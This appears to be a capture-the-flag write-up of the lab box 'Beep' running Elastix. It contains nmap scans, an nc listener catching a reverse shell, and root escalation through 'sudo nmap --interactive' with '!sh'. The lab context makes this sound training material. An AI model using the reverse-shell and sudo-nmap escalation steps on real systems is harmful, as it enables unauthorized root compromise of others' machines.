This box has multiple paths to root. I chose to attack port 443 where we are able to find an exploit that grants remote code execution. Use this exploit we gain a reverse shell after some slight modification. Escalating to root is simply achieved through abusing sudo rights to nmap.
# Nmap 7.91 scan initiated Mon Oct 18 09:53:09 2021 as: nmap -p- -oN ping_tcp 10.129.1.226 Nmap scan report for 10.129.1.226 Host is up (0.048s latency). Not shown: 65519 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 111/tcp open rpcbind 143/tcp open imap 443/tcp open https 941/tcp open unknown 993/tcp open imaps 995/tcp open pop3s 3306/tcp open mysql 4190/tcp open sieve 4445/tcp open upnotifyp 4559/tcp open hylafax 5038/tcp open unknown 10000/tcp open snet-sensor-mgmt # Nmap done at Mon Oct 18 09:53:33 2021 -- 1 IP address (1 host up) scanned in 23.82 seconds
# Nmap 7.91 scan initiated Mon Oct 18 09:54:32 2021 as: nmap -p22,25,80,110,111,143,443,941,993,995,3306,4190,4445,4559,5038,10000 -sV -sC -oN script_tcp 10.129.1.226 Nmap scan report for 10.129.1.226 Host is up (0.043s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) | ssh-hostkey: | 1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA) |_ 2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA) 25/tcp open smtp? |_smtp-commands: Couldn't establish connection on port 25 80/tcp open http Apache httpd 2.2.3 |_http-server-header: Apache/2.2.3 (CentOS) |_http-title: Did not follow redirect to https://10.129.1.226/ 110/tcp open pop3? 111/tcp open rpcbind 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 938/udp status |_ 100024 1 941/tcp status 143/tcp open imap? 443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS)) | http-robots.txt: 1 disallowed entry |_/ |_http-server-header: Apache/2.2.3 (CentOS) |_http-title: Elastix - Login page | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=-- | Not valid before: 2017-04-07T08:22:08 |_Not valid after: 2018-04-07T08:22:08 |_ssl-date: 2021-10-18T13:59:03+00:00; -1s from scanner time. 941/tcp open status 1 (RPC #100024) 993/tcp open imaps? 995/tcp open pop3s? 3306/tcp open mysql? |_mysql-info: ERROR: Script execution failed (use -d to debug) |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) |_sslv2: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) 4190/tcp open sieve? 4445/tcp open upnotifyp? 4559/tcp open hylafax? 5038/tcp open asterisk Asterisk Call Manager 1.1 10000/tcp open http MiniServ 1.570 (Webmin httpd) |_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1). Service Info: Host: 127.0.0.1 Host script results: |_clock-skew: -1s Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Mon Oct 18 10:04:13 2021 -- 1 IP address (1 host up) scanned in 581.59 seconds
┌──(kali㉿kali)-[~/Documents/htb2/Beep/WebEnum] └─$ nc -lvnp 443 130 ⨯ Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.129.1.226. Ncat: Connection from 10.129.1.226:49202. id uid=100(asterisk) gid=101(asterisk)
┌──(kali㉿kali)-[~/Documents/htb2/Beep/WebEnum] └─$ nc -lvnp 443 130 ⨯ Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::443 Ncat: Listening on 0.0.0.0:443 Ncat: Connection from 10.129.1.226. Ncat: Connection from 10.129.1.226:49202. id uid=100(asterisk) gid=101(asterisk) sudo nmap --interactive Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ ) Welcome to Interactive Mode -- press h <enter> for help nmap> !sh id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)